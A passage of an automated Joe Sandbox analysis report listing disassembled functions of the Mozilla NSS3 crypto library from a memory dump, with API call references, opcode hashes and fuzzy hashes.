Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 6704c265e32e1de513f2f9e6e9e3993e834d7e9a6dd1ee0ecc1d4a1c4db11803
Instruction ID: db9edd704738a24de1a59480f6ecbafafb22c73816634de4a93cf58a8f18d85c
Opcode Fuzzy Hash: 6704c265e32e1de513f2f9e6e9e3993e834d7e9a6dd1ee0ecc1d4a1c4db11803
Instruction Fuzzy Hash: 5851B1B6A001019FEB10EF6ADE48BAA77F8AF48349F250534DC55A7F40EB31E904CB91

Function 6C77FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C77FFE5

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C780004
PR_EnterMonitor.NSS3(?), ref: 6C78001B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6cf6376b83ebe5014b41947e3c88a934aab53a741cacb773d8085f56f4cb9251
Instruction ID: 83b7096c574e666b30792002c40ff27a50eb10af1690090753c351eddb64e07b
Opcode Fuzzy Hash: 6cf6376b83ebe5014b41947e3c88a934aab53a741cacb773d8085f56f4cb9251
Instruction Fuzzy Hash: 9A419A74B47680CFE7304A28CE597EF72A1DB413A8F10053DD25BCAE91D379A549C742

Function 6C73EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C73EF38

Part of subcall function 6C729520: PK11_IsLoggedIn.NSS3(00000000,?,6C75379E,?,00000001,?), ref: 6C729542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C73EF53

Part of subcall function 6C744C20: TlsGetValue.KERNEL32 ref: 6C744C4C
Part of subcall function 6C744C20: EnterCriticalSection.KERNEL32(?), ref: 6C744C60
Part of subcall function 6C744C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CA1
Part of subcall function 6C744C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C744CBE
Part of subcall function 6C744C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CD2
Part of subcall function 6C744C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D3A

PR_GetCurrentThread.NSS3 ref: 6C73EF9E

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

free.MOZGLUE(00000000), ref: 6C73EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C73F016
free.MOZGLUE(00000000), ref: 6C73F022

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 91a974605becda432f6b302d22d18925f4ce8a8d237c4db308efd1578e780d39
Instruction ID: 56dd5f85644cd1cc918f8c43192be6192f726761163e3ab74f3a8e8fb56c1c17
Opcode Fuzzy Hash: 91a974605becda432f6b302d22d18925f4ce8a8d237c4db308efd1578e780d39
Instruction Fuzzy Hash: E74193B1E0010AAFDF018FA9DD49BEE7BB9AF48358F044035F918A6351E776C915CBA1

Function 6C72CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C72CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C72D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C72D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72D025
PR_NewLock.NSS3 ref: 6C72D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C72D074

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 57f104fc96329518c8dc2f3a51d985c27a109ea654575d414b6ec998a84dd605
Instruction ID: 30ed776f6226bcfecebbfe78b4ec263588843d553c8233d72b0f3fe0e3e559cd
Opcode Fuzzy Hash: 57f104fc96329518c8dc2f3a51d985c27a109ea654575d414b6ec998a84dd605
Instruction Fuzzy Hash: 5641E5B1A013018FEB60DF29CA8879ABBE4EF18319F108179DC198F756D778D485CB95

Function 6C773FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C773FF2

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C774001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C77400F

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C774054

Part of subcall function 6C70BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C70BC24
Part of subcall function 6C70BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BC39
Part of subcall function 6C70BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C70BC58
Part of subcall function 6C70BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C70BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C774070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C7740CD

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 05299f607d15fb818be1871abb45bfa2c5cda834ec1b026b466e3652c6c0d3fd
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: B231E7B1E0034997EF109F649E4DBBA3364AF9170CF144275ED089B742F772E958CAA2

Function 6C712E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C702D1A), ref: 6C712E7E

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

PR_Now.NSS3 ref: 6C712EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C712EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C702D1A), ref: 6C712F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C702D1A), ref: 6C712F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C712F81

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 685fad8adbe857dfc608c1afa0aed88f9aa82085be9fecf74766d5605e54c072
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 9B3134715091408BF710C665CE4CFAFB2ADEF82318F6C0A79D42997ED1EB31998AC711

Function 6C700E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C700A2C), ref: 6C700E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C700A2C), ref: 6C700E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C700A2C), ref: 6C700E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C700A2C), ref: 6C700E90
free.MOZGLUE(00000000), ref: 6C700EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C700A2C), ref: 6C700ED9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5341808848a733ce47be796cc097a74d0473c10af030d3c557c43360562ba5c8
Instruction ID: bd49764ca9f29c7f01c053554f8e40ad384c042d6c9384feb17aab0f8d47fc5e
Opcode Fuzzy Hash: 5341808848a733ce47be796cc097a74d0473c10af030d3c557c43360562ba5c8
Instruction Fuzzy Hash: 17213EF2F0028457EB106D769E49B6B76EEDBC1769F190035DC18B3A02EBB0C81483A2

Function 6C70AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C70AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C70AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C829500), ref: 6C70AF23

Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C75F0C8
Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70AF37

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 765e1b80ab1e619169cddcaba6e6f95034f0ae8f2a180ee9a69a7f2464652634
Instruction ID: 45bc6ec29e98b54c1592418af65f074dc87b229dbe17fe395c27837308bece09
Opcode Fuzzy Hash: 765e1b80ab1e619169cddcaba6e6f95034f0ae8f2a180ee9a69a7f2464652634
Instruction Fuzzy Hash: 3C214CF2A05200ABEB108E188E05B9A77E4AF8573CF144324FC149B7D0E731E54587A7

Function 6C78EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78EE85
realloc.MOZGLUE(A5012C15,?), ref: 6C78EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C78EEC5

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

htonl.WSOCK32(?), ref: 6C78EEE3
htonl.WSOCK32(00000000,?), ref: 6C78EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C78EF01

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 827c06f6142bb5753058e62d40e86bcfbbbc20eda6c82d5bd49c76047c76d307
Instruction ID: 0b4fa4d27b3dd2eacb37e896da3fa0fd9fdfca7d5634e2fe29a102ccb75ae591
Opcode Fuzzy Hash: 827c06f6142bb5753058e62d40e86bcfbbbc20eda6c82d5bd49c76047c76d307
Instruction Fuzzy Hash: 0B21E775A012199FDB109F28DD8879A77A8EF45358F148139ED099BA41D730EC14CBF2

Function 6C73EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C73EE49

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C73EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C73EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C73EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C73EEB3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 3086a868d171cc1ad9b8b645f6a8b97d1f17debb2452f626c4027a4da019540c
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6121C6BAA402246BFB118A14DD89EAB77ACEB45708F040174FD089B342EB71DC1487E1

Function 6C707F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C707F68

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C707F7B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C707FA7

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C82919C,?), ref: 6C707FBB

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C707FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C82915C,00000014), ref: 6C707FFE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 5562878e8bb37b540b0f583b50d2f6380ef8f817fde6a21dadd44a0a529df189
Instruction ID: 93158149137bb7ad53561251a7940419fc97bc529b00bf5dc744d139c4365460
Opcode Fuzzy Hash: 5562878e8bb37b540b0f583b50d2f6380ef8f817fde6a21dadd44a0a529df189
Instruction Fuzzy Hash: C311E7A1E002045BF710AA259F4CBBB77E8DF4565CF000A29FC59D2B41FB20B949C7A2

Function 6C70BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C78DC29,?), ref: 6C70BE64

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C78DC29,?), ref: 6C70BE78

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C78DC29,?), ref: 6C70BE96

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C78DC29,?), ref: 6C70BEBB

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C78DC29,?), ref: 6C70BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C78DC29,?), ref: 6C70BEF3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 567c0d15a3e4fcb94b83bed94f6ebfb53dcbddf6302616e4ee2dd11dccf8aaea
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: E11178B1F001155BEB008B659E49FAA37AC9B41359F544034ED09D7B81EB71EA19C7A1

Function 6C793C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C793D3F

Part of subcall function 6C70BA90: PORT_NewArena_Util.NSS3(00000800,6C793CAF,?), ref: 6C70BABF
Part of subcall function 6C70BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C793CAF,?), ref: 6C70BAD5
Part of subcall function 6C70BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C793CAF,?), ref: 6C70BB08
